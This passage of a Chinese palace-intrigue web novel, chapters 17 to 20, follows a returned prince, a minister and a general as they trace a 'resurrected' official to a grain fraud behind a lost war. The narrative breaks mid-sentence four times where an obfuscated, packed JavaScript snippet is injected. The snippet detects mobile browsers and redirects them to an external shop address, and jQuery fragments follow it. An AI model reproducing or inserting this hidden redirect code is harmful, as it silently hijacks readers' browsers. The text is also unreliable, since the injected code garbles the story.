俆砚修闻言,端茶的手几不可察地一滞,茶面微漾,荡起一圈细纹。
“王爷这话,着实令人心惊。”他垂眸看着杯中的茶水,轻啜了一口,声音平淡,听不出波澜,“一个已死之人竟能在官册上‘活’过来,此事若非记载有误,便是其中藏有骇人听闻的隐情。”
“是啊。”姜宁开口,端起桌上的茶杯,茶盖无意识的在边缘画圈,声音也显得若隐若现,“也不知是有人知情不报,故意用聂荣的名字吃空饷,还是这克州通判,已非真正的聂荣?”
俆砚修又喝了一口茶,将茶杯放回桌上,目光转向姜宁。他眼中神色复杂难辨,似有暗流涌动。
“那么,以王爷之见,这聂荣,是人是鬼?”
“是人是鬼,一查便知。”姜宁迎上他的目光,唇角噙着一丝冷笑,她手中的茶杯豁然盖紧,发出“啪”的一声,“只是本王好奇,徐尚书为何故意将这本书册放在本王的桌上?”
余音在空气中震颤,书房内的空气仿佛被这一声脆响骤然凝滞。
窗外吹来一阵寒风,桌案上的书卷随之翻动起来。
俆砚修脸上的笑容淡去,坐直了身子。
“王爷既然问得如此直接,那老臣也不必再兜圈子了。”徐砚修的身体转向姜宁,压低了嗓音,字句却重若千钧,“聂荣之事,绝非寻常。其背后牵连之广,盘根错节。”
俆砚修话音微顿,似乎在观察姜宁的反应,随后才一字一句开口:“甚至可能同淮水之战有关。”
姜宁瞳孔微缩,搭在杯盖上的指尖下意识地收紧。
俆砚修这一句,是警告?还是试探?
电光火石之间,姜宁已经做出了决断。
“徐尚书太过多虑了。”姜宁敛眉,将手里的茶水一饮而尽,借此掩盖自己神色的变化,“淮水之战乃是绝密,聂荣不过一个淮州通判,如何能同淮水之战扯上关系?”
“莫非……”姜宁放下手中的茶盏,猝然看向俆砚修,“尚书是听闻了什么不着调的风声,才会有此怀疑?”
俆砚修迎着姜宁的目光缓缓站起,脸上只剩下孤注一掷的决然。
他离开座位,后退一步,旋即对着姜宁,深深一揖到地。
“徐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694352|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尚书这是做什么?”
“王爷。”俆砚修维持着躬身的姿态,声音低沉,“聂荣其人,官职虽微,却是当年兵部与淮水前线文书往来必经的一道枢纽!他的‘死而复生’,绝非偶然!”
俆砚修的声音越来越低,到了最后,甚至带了几分哽咽:“老臣恳请王爷,彻查聂荣,以此为线,廓清迷雾,还谢家三十万英魂一个公道!”
姜宁没有立刻答话,反而开口道:“为什么是我?”
她声音清冷,神色依旧淡淡:“徐尚书在朝多年,又是礼部尚书,门生故旧遍布朝野。若真想调查淮水之战谢家兵败的原因,即便此事千难万险,也并非找不到旁人相助。为何偏偏要冒如此风险,来找我这个同谢家和你毫无交集,且离京数载、手中无权的新归王爷?”
“这正是老臣厚颜相求王爷的原因。”
“老臣在朝多年,门生故旧盘根错节,牵一发而动全身。”俆砚修继续开口,声音多了几分疲惫,“门生故旧越多,羁绊越深,能动用的‘自己人’,或许恰恰是最不敢动、也不能动之人。”
他话语稍顿,目光落在姜宁沉静的脸上。
“更因为,王爷您是‘新归’。”俆砚修抬眸,眼里划过些许审视,“王爷离晟十年,朝堂格局变化不小。陆家和贵妃或许是您归来后倚仗的一臂之力,却也会成为您的阻碍。”
“如今,还有什么事,能比揭开淮水之战的真相、为三十万忠魂洗雪沉冤,更能彰显您的雷霆手段,树立您的赫赫权威?”
闻言,姜宁猝然笑出了声来。
“徐尚书真是打得一手好算盘。”她唇角弯起,眼底却无甚笑意,只有一片冰凉,“尚书一番慷慨陈词,将这般危险的事说得如此荡气回肠。可徐尚书的门生故旧是命,本王的舅舅母妃,陆家满门难道就不是命了吗?”
“王爷明鉴,老臣确实存了私心。”俆砚修的声音恢复了之前的沉稳,甚至带着几分历经世事的沧桑,“为故友昭雪,是私心;不愿见忠魂含冤,亦是私心。”
“但老臣想问王爷一句——”他终于直起身,看向姜宁的目光里闪烁着熊熊燃烧的火焰,“若今日对此事袖手旁观,不闻不问。若他日幕后黑手故技重施,以同样手段陷害镇北王,让陆家变成第二个谢家。那时陆家当如何?贵妃当如何?王爷又当如何?”
“借刀之人,奉上自己的身家性命作为质押。而持刀之人,既可获得名声,又可防患于未然。这是各取所需。”俆砚修再次开口,声音里带了些许萧索。
直至此刻,姜宁的面色才有了些许松动。
她凝视着俆砚修的脸,不知为何,竟觉得似曾相识。
时间,仿佛在这一刻被拉得极长。
终于,姜宁缓缓开口,声音不高,却清晰地落入了俆砚修耳中:“徐尚书,你赢了。”
俆砚修呼出一口气。他再次深深一揖,这一次,比之前任何一次都要恭敬。
“不是为你,亦不为谢家。”姜宁转过身,走向那扇完全打开的窗户,凝视着窗外的那株老柏树,“只为了我自己。”
“为了我自己,不再是他人棋局上,可以随意舍去的弃子。”姜宁在心里喃喃。
18.第十八章
慈宁宫内弥漫着浓郁的药味,混杂着若有若无的沉疴之气。凤榻之上,太后萧芷半阖着眼。她手中佛珠捻动,眉头微锁。
此刻,一位老嬷嬷正小心翼翼地为她按着额角。
一名身着深青色内侍服的老太监无声无息地走近,在榻前三步外停住,微微躬身。
“太后,皇后娘娘求见。”
萧芷捻动佛珠的手指并未停顿,连眼睫都未曾抬起,只从喉间逸出一声慵懒的“嗯”。
老太监保持着躬身的姿态退出,还不忘记带走宫里侍候的宫人,只留下给萧芷按额角的老嬷嬷还在原地。
片刻后,环佩轻响,萧月言扶着贴身宫女的手走了进来。
她穿着素雅常服,脸上施了薄粉,掩不住眉宇间的憔悴与一丝急切。
她行至榻前,规规矩矩地屈膝行礼:“臣妾给母后请安。母后凤体可安?”
闻言,萧芷这才眼眸微掀,向着萧月言看去。
她的目光在萧月言脸上停留一瞬,如同平静的湖面掠过一丝微澜:“哀家这把老骨头,也就是这样了。倒是你,脸色瞧着不大好,不在自己宫里好生歇着,怎么过来了?”
“姑母!”
萧月言开口,径直向着萧芷跪下。
萧芷捻动佛珠的手微微一顿,坐起身,挥手示意老嬷嬷退下。
老嬷嬷领命,和萧月言带来的人躬身退出门外,还不忘记把殿门关上。
“又怎么了?”萧芷揉了揉眉心,没有立刻叫萧月言起身,手中佛珠转动,眼里多了几分疲惫,“你总是这般沉不住气,如何坐得稳中宫之位?”
只这么一句话,萧月言不由得落下泪来。
“姑母。从侄女嫁给陛下的第一天,您就告诉我要忍。我听您的话,忍了这么些年。”萧月言跪着移动到萧芷面前,抬起头,眼圈通红地望向萧芷,声音里是压抑多年的委屈,“可如今呢?连姜望那个小东西,也敢公然杖杀我送去的人!我去同陛下哭诉,他竟也为了那小东西训斥我!若这般还要忍,这中宫之位坐着还有什么意思?!”
“蠢货!”
萧芷猛地将佛珠砸在榻沿,沉香木珠子迸散一地,噼啪作响。
她微微俯身,伸手狠狠掐住萧月言的下颌,眼里一片冰冷:“这点委屈,你就要死要活了?萧家满门的荣辱,冀儿的未来,在你眼里还不如一口气重要?”
她声音压得极低,却字字砸在萧月言心上。
“一个奴才,死了便死了!值得你堂堂皇后亲自去御前哭诉?”
萧芷甩开萧月言,胸膛微微起伏,深吸一口气才勉强压下翻涌的气血。
殿内死寂,只有沉香木珠在地面滚动的细微声响。
“你以为中宫之位是什么?是你想要就要,不想要就不要的?”萧芷开口,声音里冷意又多了几分,“你若坐不稳这个位置,摔碎的从来不止你一人!”
萧月言闻言,颓然的跌坐在地,神色迅速惨淡下去。
萧芷见她这样,眼里闪过几分复杂,不由得叹了口气。
“疼吗?”萧芷俯身,再次伸出手指,轻轻拂过萧月言下颌那抹刺眼的红痕,声音也缓和了几分,“记住姑母的话,若要冀儿能顺利受封,你最近,什么也不必做,什么也不必说。”
萧月言重重地点头,鼻尖一酸,泪水再次滚落。
“侄女记住了。”她声音哽咽,“为了冀儿,为了萧家,我知道该怎么做了。”
“皇上驾到——”
门外便传来内侍刻意拔高的通传声。
萧芷眼神一凛,方才的温和瞬间敛去。她迅速侧卧,朝萧月言使了个眼色。
萧月言立即用袖口拭去泪痕,迅速将散落在地的佛珠拾起,塞入袖中。
下一刻,她已重新挺直背脊,站在了萧芷榻前,又恢复成了那个端庄持重的皇后。
明黄色的身影已踏入殿内,带着一身室外的冷意。
“儿臣给母后请安。”姜夔步履从容,声音温和,目光似是不经意地扫过垂首立在旁的萧月言,淡淡开口,“皇后也在。”
“参见皇上。”萧月言向着姜夔屈膝行礼。
萧芷靠回玉枕,脸上适时地露出些许病弱的疲态:“皇帝今日怎么得空过来?皇后正与哀家说着冀儿近日的功课,这孩子近来进益不少。”
“冀儿向来聪慧,儿臣此来,正是为了他。”皇帝撩袍在榻旁的黄花梨木椅上坐下,唇角带着浅淡的笑意,“儿臣仔细思量过了,昨日母后的教诲,确在情理。只是,既行分封,便不好厚此薄彼。所有已经成年的皇子,儿臣都打算一并封王。”
萧芷面色几不可察地一抖,旋即恢复如常。
“皇帝思虑周详,皇子们年岁渐长,分封就藩本是祖制。只是……”她凤眸微垂,声音带着恰到好处的虚弱,“虽皆为龙种,终究嫡庶有别,长幼有序。若全然等同,只怕朝野上下,难免议论,有损天家威仪。”
姜夔唇角笑意不变,伸手端起宫人奉上的茶水,慢条斯理地撇了撇浮沫,方才继续道:“母后也知道,儿臣在骨肉亲情上,向来看得重。京都繁华,母后也素喜儿孙绕膝的热闹。让他们留居京中,既可不离朕之左右,时时聆听训诫,母后若想含饴弄孙,也便宜。如此,岂不两全其美?”
随着姜夔的话音落下,萧芷脸色不由得一僵。
姜夔这话倒是说的妙极。
她让他封嫡长子,以固国本。他便索性将水搅浑,所有成年皇子一体封王。
封完了,却不按祖制让他们前往封地,反而用“骨肉亲情”、“含饴弄孙”这般温情脉脉的由头,将他们都留在了京都。
如此一来,冀儿混在一众留京的王爷之中,这嫡长子的优势便荡然无存。
好一招釜底抽薪,好一个两全其美!
她倚着玉枕,抬眼看向她这个毫无血缘关系的养子。
从始至终,他脸上都带着笑,就如同这殿中缭绕的沉香,看似绵软,实则无孔不入,将人紧紧缠绕,动弹不得。
“皇帝果然是想得‘周全’。”萧芷轻轻开口,尾音带着一丝若有似无的叹息,“哀家老了,只盼着家宅安宁,儿孙顺遂。皇帝既已拿定主意,那便依皇帝的意思吧。”
“既如此,儿臣告退。”
萧芷闭眼摆手。
姜夔起身,向萧芷行礼告退。
出了慈宁宫,他脸上那抹挥之不去的浅笑,便如被风吹熄的烛火,倏地隐去。
云喜见到姜夔脸色不太好,当即带着人躬身跟上,不敢发出半点声响。
午后的日光倾泻在汉白玉阶上,晃得人有些眼晕。姜夔在慈宁宫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703045|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门前驻足,微微眯起眼,望向那轮悬在碧空中的白日。光线刺目,他却一动不动,任由那灼热的光芒映照在深邃的瞳仁里,仿佛要将方才殿内沾染的沉郁气息尽数灼烧干净。
“云喜。”
他忽然开口,声音不高。
“奴才在。”云喜连忙应声,上前两步。
“传朕口谕。”姜夔的语气没有任何起伏,如同在陈述一件再平常不过的小事,“着钦天监三日内呈报吉日,礼部、宗人府即日拟定诸皇子封号及相应仪制。所有成年皇子,留京建府,一应规制按亲王例。”
“诺。”
云喜应了一声,正准备离开,姜夔却再次开口。
“还有……”姜夔收回目光,迈步向前走去,“告诉俆砚修,所有封号都要老七参与拟定,以他的意见为准。”
云喜脚步一顿,心头微凛。
七皇子刚回晟,先是得封端王,如今又让他拟定其他皇子封号。陛下此举,无异于将七皇子架在火上炙烤。
与其说是恩宠,不如说更像是一道催命符。
雷霆雨露,具为君恩。
“奴才遵旨。”云喜压下心中翻涌的思绪,声音愈发恭谨。
他知道,这平静许久的朝堂与后宫,马上就要起波澜了。
云喜带着口谕,来到俆砚修的值房,宣读完毕后,他又去了姜宁的值房。
姜宁听完口谕,只是搁下手中的书卷起身:“儿臣领旨。”
她声音淡淡,仿佛接下的只是一件寻常差事。
“王爷,老奴听说您调阅了淮、克两州的官员名录。”云喜又向着姜宁福身,仿佛只是无意提及,“说起来淮州,当年好像还有个人查询粮草,后来便没了消息。”
说完,云喜便退出了值房。
走到门口时,他忍不住回头看了一眼,却见姜宁已重新坐回案前。她的身影明明格外清瘦,却莫名给人一种坚不可摧之感。
风,自宫墙深处而起,已悄然吹向了各处。
姜冀正在书房内写字,听见宫人禀告,发出一声冷笑,手中狼毫应声而断。
“好一个端王!一个庶子,也配拟我这嫡长子的封号!”
与此同时,姜澄正在临窗作画,听得心腹回报,笔锋都不曾停顿。
“七弟身上恩宠正浓。”他轻笑着蘸取朱砂,点在画中鹤顶,“去备份厚礼,恭喜七弟。就说兄长们往后,都要仰仗他多费心了。”
陆欣荣坐在镜前,想起来她那长在镇北王府内的孩儿,脸上写满了蚀骨的恨意。
萧月言侍奉在萧芷身侧,脸色苍白。
“不过是拟定封号罢了。”萧芷的目光从萧月言的脸上划过,带了些说不清道不明的意味,“是恩宠,还是杀机,尤未可知。你这般沉不住气,倒叫人看了中宫的笑话去。”
镇北王府内,姜望和陆起正在书房对弈,听得下人的话,他手中黑子无意识落下。
陆起神色不变,探手接住姜望陡然落下的棋子,将其放回姜望的棋盒之中。
“这本来都该是我的。”姜望开口,声音带了些咬牙切齿。
“落子无悔。”陆起答。
暮色渐沉,姜宁站在窗边,看着窗外渐渐涌起的夜色,呼出一口浊气。
这京城的风,到底还是刮起来了。
19.第十九章
姜宁刚下值,一个人突然撞入怀中。紧接着,她手里便被塞了张字条。
等她反应过来的时候,那人已经没了踪影。
她走上马车,展开那张揉得发皱的字条。上书“天味”二字,墨迹淋漓,力透纸背。
姜宁指尖无意识地摩挲着粗糙的纸面,片刻沉吟后,她叩响车壁,对车夫淡声道:“去天味楼。”
马车辘辘,穿行于暮色渐合的街巷。不多时,天味楼熟悉的飞檐已映入眼帘。
“客官!楼上请!”
天味楼的小二很是眼尖,姜宁刚下车,他便迎了来,引着姜宁去了昨日的雅间。接着,小二识趣地退下,轻轻带上了门。
姜宁刚踏入雅间,便见窗前立着一个挺拔的身影。
听到开门声,那人转过身来,却是谢流。
他穿着墨色常服,少了几分沙场锐气,多了几分京城子弟的矜贵,只是那双眼,依旧沉静如渊。
“谢将军。”姜宁眉梢微动,脚步未停,自然地走到桌边坐下,“果然是你。”
谢流走到她对面坐下,执起桌上早已备好的茶壶,为她斟了一杯热茶,动作行云流水。
“王爷。”谢流开口,声音平稳。
姜宁没有去碰那杯茶,目光落在谢流脸上:“将军引我来此,可是为了聂荣?”
谢流执壶的手稳稳收回,茶壶放在檀木案几上,发出极轻的一声脆响。
“我已经派人去查聂荣了。”谢流端起桌上的茶盏,轻啜了一口,目光却一直凝在姜宁脸上,“此人是崇元九年的淮州通判,本该身故,却不知为何次年死而复生,平调克州。”
笃笃——
敲门声骤然响起,谢流一个闪身,隐入屏风之后。
姜宁挑眉,回过身看向门口方向:“进。”
随着姜宁的话音落下,一个宫婢出现在姜宁跟前。
“王爷。”宫婢向姜宁规矩行礼,将手中精美的盒子递到姜宁跟前,声音恭恭敬敬,“奴婢奉四皇子之命前来。殿下说,王爷离京多年,兄弟也多年未见。今王爷归国,殿下特命奴婢备上一份薄礼,聊表心意,还望王爷笑纳。”
四皇子姜澄?
姜宁目光落在那个锦盒上,想起来上书房里那道阴恻恻的声音。她唇边浮起一丝若有似无的笑意,视线缓缓上移,落在宫婢低垂的眼帘上。
“四皇兄有心了。”姜宁开口,声音温和,却带着几分疏离,“本王离京前与四皇兄并无太多往来,如今这般厚礼,倒让本王有些受宠若惊了。”
那宫婢依旧保持着恭敬的姿势,声音平稳:“殿下常说,血脉之亲最是珍贵。王爷归来,殿下心中欢喜,只望日后能多多走动。”
“礼就不必了。”姜宁垂下眼眸,袖袍随意一拂,仿佛掸去一粒微尘,“告诉四皇兄,他的心意本王领了。至于走动……”
她略一停顿,抬眸时,眼底已是一片寒冷:“也不必了。”
“本王生在晟京,却长在燕国。燕地蛮夷,习性疏野,怕是学不来京中周全的规矩。”
那宫婢身形几不可察地僵了一瞬,随即恢复如常,深深一礼:“是,奴婢定当转达。奴婢告退。”
她捧着那未被接受的锦盒,躬身退出了雅间,门扇合拢,隔绝了内外。
片刻后,谢流从屏风后转出。
“四皇子母族虽势微。”谢流开口,声音虽低,却清晰的传入姜宁耳中,“然其生母丽妃,圣心独眷,近些年恩宠之隆,便是贵妃亦要暂避其锋。”
他话语微顿,似在斟酌更妥帖的言辞,沉默片刻后,再次开口:“且四皇子其人,素有雅望,门下聚集了不少清流文士,于朝野间,并非全无根基。”
姜宁笑笑,端起桌上的茶水喝了一口,神色依旧淡淡。
“既然这么贤德。”姜宁语速放缓,声音里带着几分漫不经心的讥笑,“便封个贤王好了。”
“贤王”二字从她唇齿间吐出,明明是轻飘飘的两个字,却仿佛带着千钧之力,重重砸在寂静的空气里。
“话说回来……”姜宁不再和谢流探讨姜澄,话音一转,“我给了将军诚意,将军难道不该还我些许?”
谢流迎着她的目光,并未闪躲。
“王爷想要何种诚意?”他沉声反问,姿态不卑不亢。
“聂荣‘死而复生’的秘密,不知将军到底查到多少?除了他本死于淮州,却次年平调克州外,还有什么?比如……”姜宁端起来桌上的茶盏,压低声音,“当年是谁,让他‘活’了下来,又是谁,将他送到了克州?”
她顿了顿,目光更利:“将军若只是查到了这般简单的消息,恐怕不会约见我。”
谢流没有立刻答话。他走到窗边,沉默了片刻,似乎在权衡着什么。
窗外夜色更浓,雅间内烛火摇曳,将他棱角分明的侧脸映得明暗不定。
“我确实查到一些线索。”终于,他转过身看向姜宁,眸色深沉似海,“当年平调聂荣文书归档的,是时任吏部考功司郎中,后来告病归家,是萧家人。”
“我听闻,聂荣死前,正在暗查淮州的粮草问题。”姜宁淡淡开口,又喝了一口茶,“他查的并非寻常粮款,而是本该运往淮州,供给谢家军的粮草。”
谢流目光蓦得一闪。
姜宁垂下眼帘,看着杯中的茶水。
一开始看到聂荣名字的时候,她其实并没有把聂荣和昭宁口中暗查粮草的人联系起来。直到云喜来找她,有意无意的提及多年前有人调查粮草后不知所踪,她这才将人串联起来。
看来,俆砚修放在她桌上的书册,是她父皇的默许。
所以才会有能开九弓的好手灭口文信良。
“那批粮草在抵达淮州仓储后,突发大火,焚烧殆尽。淮州知府上奏,陛下震怒,派出吏部考功司郎中探查。”姜宁再次开口,声音又冷了几分,“他归来后上报,是因雷击导致走火,焚烧粮草三千石,仅为那批粮草的十分之一。其余亏空,被做成了历年损耗、鼠患虫蛀一笔勾销。”
“所以,当年淮州知府才会因为欺君被满门抄斩。”
姜宁吐出一口浊气,觉得身上又冷了几分。
一州知府满门的命,在权术面前,也不过是草芥。
窗外,一道闪电划过,短暂地照亮了谢流眼中翻涌的浓重杀意。
“好一个死无对证。”他声音沙哑,每一个字都像是从牙缝里挤出来的,“用一州知府的满门性命,堵住了天下悠悠之口,也彻底斩断了追查的线索。”
他的拳头在袖中无声地攥紧,骨节挤压,发出轻微的脆响。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707231|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那场淮水的败仗,果然大有蹊跷!
恍惚间,他似乎看见了在边境风雪中饥寒交迫的谢家儿郎的脸。那些人的目光凝在他身上,仿佛化作实质,正在无比清晰地灼烧着他的理智。
他试图将那些苍白的面容从脑海中驱散,但那些面孔却与淮州知府满门抄斩的惨状交织在一起,在他的脑海里久久萦绕。
“原来如此。”谢流喃喃开口,声音里是灼灼燃烧的恨意,“这血债,竟是从这里开始的。”
姜宁没有说话,只是静静看着手中的茶盏。水面无波,倒映出她的脸。
一个疑问,却在此刻悄然浮上她的心头。
她的父皇,当年……当真对此一无所知吗?
那场所谓的“雷击走火”,那区区三千石的呈报,那被轻易勾销的庞大亏空。精明如她的父皇,当真会如此轻易地被一个吏部郎中蒙蔽?
若他知道,若他默许,甚至……这本就是他为了某种平衡,或是为了削弱谢家兵权而顺势为之的棋局?
想到此,姜宁只觉得一股寒意自脚底窜起,瞬间浸透了四肢百骸。
“我的人已经前往克州,会去核实聂荣到底是生是死。”谢流突然开口,声音已经恢复了平静,“就算他死了,我也会让他‘活’过来。”
姜宁骤然抬眼。
谢流迎着她的目光,那双深邃的眼里,是边关风沙磨砺出的寒冷:“当年之事,牵连甚广,非一日可查。但克州的聂荣,淮水的三十万冤魂,是摆在眼前的债。债,总要一笔一笔讨还。”
姜宁没有答话。
谢流向姜宁拱手,告辞离去。沉稳的脚步声渐行渐远,最终消失在楼梯尽头,只留下雅间内弥漫的淡淡茶香。
等到谢流走了,姜宁这才缓缓起身,走到了窗前。
楼下,谢流的身影出现在街道上,他没有停留,也没有回头,只是径直向前行去,步伐坚定。
“三十万冤魂的债……”姜宁低声重复着谢流的话,看着晟京皇城的方向,眼里的神色一点点淡了下去。
若这一切真的父皇默许,那他让她看到聂荣,让云喜故意提点,又是为什么?
是为了让她追查旧案?还枉死者一个公道?
不,她的父皇,绝不是这般心慈手软之人。
或许是想借她的手清理萧家?
朝臣上奏,以嫡庶之说迫使父皇封大皇兄,确实风头太盛了。让她去撕咬萧家,确是一步好棋。
事成,他稳坐钓鱼台。
事败,也不过是她与萧家两败俱伤。
又或者,当年淮水一战中还有陆家的手笔?
谢流驰援她终究引起了父皇的猜忌,所以他要把真相掀开,目的是为了让谢流这把刀,不能为她所用。
思绪纷乱如麻,每一个猜测都指向更深沉的帝王心术,无论是哪一种,都让她感到刺骨的冰冷。
她像是一枚被置于巨大棋盘上的棋子,能隐约看到执棋者的手,却看不清最终的落点究竟在何方。
姜宁看着皇城的方向,唇边逐渐上扬,泛起一丝极淡的冷笑。
水既然已经浑了,那就让它更浑一些吧。
只有把这潭水彻底搅动,才能看清,水下究竟藏着多少魑魅魍魉,而那执竿的渔翁,又究竟意欲何为。
20.第二十章
姜宁坐上马车,马车辘辘,将叫卖声隔绝在外。
她背靠着柔软的织锦垫子,微微合上眼。方才绷紧的神经,在这封闭移动的空间里,稍稍松懈下来几分。
不知过了多久,马车稳稳停下。
车帘外传来车夫的声音:“王爷,王府到了。”
她点头,掀开车帘,便见柳窈娘和青雀、沈别山三人守在了车外。
她踩着马凳走下马车,还未来得及说话,柳窈娘便已经率先开口:“王爷,府里来了位大人。”
姜宁脚步未停,只微微颔首,示意她跟上。四人沿着灯火通明的回廊向内走去,步履从容,衣袂拂动间带起细微的风声。
“是哪位大人?”姜宁的声音平淡,听不出情绪。
“是陈太傅。”柳窈娘答。
姜宁微微皱眉。
她与太傅陈实只在上书房见过一面,并无其他交情,他怎会来她府中?
难道又是因为聂荣和淮水的旧事?
“奴婢不敢怠慢,已请太傅至‘静思轩’奉茶。”柳窈娘再次开口。
静思轩是端王府内较为正式且雅致的待客之所,用以接待陈太傅这等身份的人物,倒是恰到好处。
姜宁点头,脚步不停的向着静思轩走去。
行至静思轩外,她吩咐柳窈娘退下休息,留了青雀和沈别山守在屋外,又低头略整了整衣袖,这才迈步而入。
静思轩内烛火通明,陈实端坐客位,半闭着眼眸假寐。听到脚步声,他缓缓睁开双眼,向着姜宁看来。
姜宁快步走到陈实跟前,向他俯身拱手:“太傅久等了。”
陈实站起身,向姜宁执了一个标准的臣子见亲王之礼,脸上多了几分温和:“是老臣冒昧,打扰王爷清静,还望王爷恕罪。”
“太傅能来,是姜望的荣幸,快请坐。”姜宁侧身避过全礼,伸手请陈实重新落座,目光落在桌上未动的桂花糕上,“太傅且尝尝这桂花糕,是府里人采今秋新桂所制,与市井采买的风味迥异,或可佐茶。”
陈实微微颔首,再次落座。
这时,他才看向身侧的桂花糕。糕体松软,金黄的桂屑点缀其间,宛若碎玉藏金。片刻后,他伸出两指,自那青瓷碟中稳稳取了一块,拿起小尝了一口。
清甜的滋味在舌尖缓缓化开,蜜的甘润与桂的芬芳交织,甜而不腻,确实别有一番风味。他细嚼慢咽,片刻后,方略带不舍的将剩余半块轻轻放回碟中。
“王爷府上的手艺,果然不俗。”陈实开口,声音平和,他略作停顿,抬眸望向姜宁,眼神深处似有波澜涌动。
“说起来,制成此糕的花名目颇多。”他话锋微转,语气依旧闲适,如同闲聊家常,“世人常唤桂花,雅士偏称木樨,亦有典籍载其别名‘秋香’。”
他端起桌上的茶盏喝了一口,压下喉间的些许甜意。烛光在他历经风霜的脸上投下明暗交织的阴影,连带着声音都沉缓了几分:“可见命名立意,至关重要。一字之差,其间意境,何止千里之遥?”
姜宁垂下眼眸,压下心中翻涌的思绪。
原是为了各位皇子封号的事,也不知这位太傅此来,是为了哪位皇子。
既然这位太傅最重规矩,想来是为了她那大皇兄。
原来所谓的“规矩”,也可为了别的“规矩”打破。
“太傅博闻广识,所言极是。”姜宁端起茶盏,撇去其上的浮沫,语气温和,不疾不徐,“草木犹有其性,一名一谓,确实需贴合其本真。强附风雅,反失其天然之趣。”
“就如同父皇让我拟定各位皇兄的封号。”姜宁懒得同他兜圈子,略一停顿,指尖轻轻摩挲着温热的杯壁,仿佛在感受那瓷器的润泽,继续道,“为人臣者,自该为父皇分忧。不过是细观其形,体察其性,以期所拟之名,能略略映其神韵一二,不至明珠暗投,亦不使瓦砾混金。”
“至于最终如何裁定,自有父皇圣心独断。姜望所能秉持的,不过是一颗‘实事求是’之心罢了。”
陈实从茶水中抬头看向姜宁,并未立刻接话。
烛火又是一跳,将他眼中那点难以捕捉的思量照得清晰了一瞬,随即又隐没在深潭之中。
他此番前来,并非如姜宁所料是为了哪位皇子做说客。
恰恰相反,他是听闻陛下将拟定封号的重任交给了这位刚刚归国的七殿下后,嗅到了其中暗藏的风险与汹涌的暗流,这才会冒昧前来。
他此来,只是因为那日上书房时这位王爷口中那云泥变迁的活水之论。
这般怜惜普通人的殿下,不能、也不该因为朝堂险恶而引火烧身。
然而,此时此刻,他突然意识到,自己或许想错了。
眼前的年轻王爷,历经了十年燕地的洗礼,并非需要他羽翼庇护的雏鸟,而是已然具备了翱翔风雨之中的鹰隼。
良久,他喉间溢出一声低缓的的轻笑。
这笑声不带讥讽,反而有种看透世情的了然,甚至是一丝毫不掩饰的欣赏。
“好一个实事求是。”陈实将这四个字在唇齿间细细研磨,再次开口,“只是,这‘实’与‘是’,在不同人眼中,常有不同风景。你眼中之‘实’,在他人看来,或未必如此。”
姜宁把玩茶盏的动作微微怔住。心念电转间,她已明了其中关窍。
这陈太傅,竟然是来提醒她的?
“太傅良言,姜望谨记。”姜宁放下茶盏,站起身,向着陈实再行一礼,开口道,“只是‘实’也好,‘是’也好,为人臣者,但求立身以正,处事以明,无愧于心即是前路。”
陈实望向姜宁,目光在她清正沉静的面容上停留许久。烛火跳跃,将她有些锋利的脸映照出些许的柔和。
良久,陈实缓缓点头,眼眸中的审度褪去,取而代之的是一抹极淡的、近乎欣慰的了然。
“好。”陈实再次开口,声音沉缓,嘴角微弯,“王爷能持此心,倒是老臣今夜冒昧了。”
说完,他拿起桌上方才吃剩的半块桂花糕,就着微凉茶水缓缓送入口中。那专注的神态,不似在吃一块残点,倒像是在品味什么难得的滋味。
姜宁眼波微动,将陈实这无意间流露的举动看在眼里。
“是老臣失态了。”陈实自是察觉到姜宁的目光,他从容咽下,而后抬眸,眼中带着一丝略显尴尬的温和笑意,“实在是王爷府中的桂花糕甜糯合宜,桂香清远,同别处不同。老夫一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718092|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时回味,便多贪了一口。”
“太傅何必见外?”姜宁含笑开口,眼底又柔和了几分,“人生在世,能得一二真心喜爱的滋味,本就是难得的福分。”
说着,她已转身走向门边,对在门口候着的青雀道:“去将柳嬷嬷新制的桂花糕装两匣。”
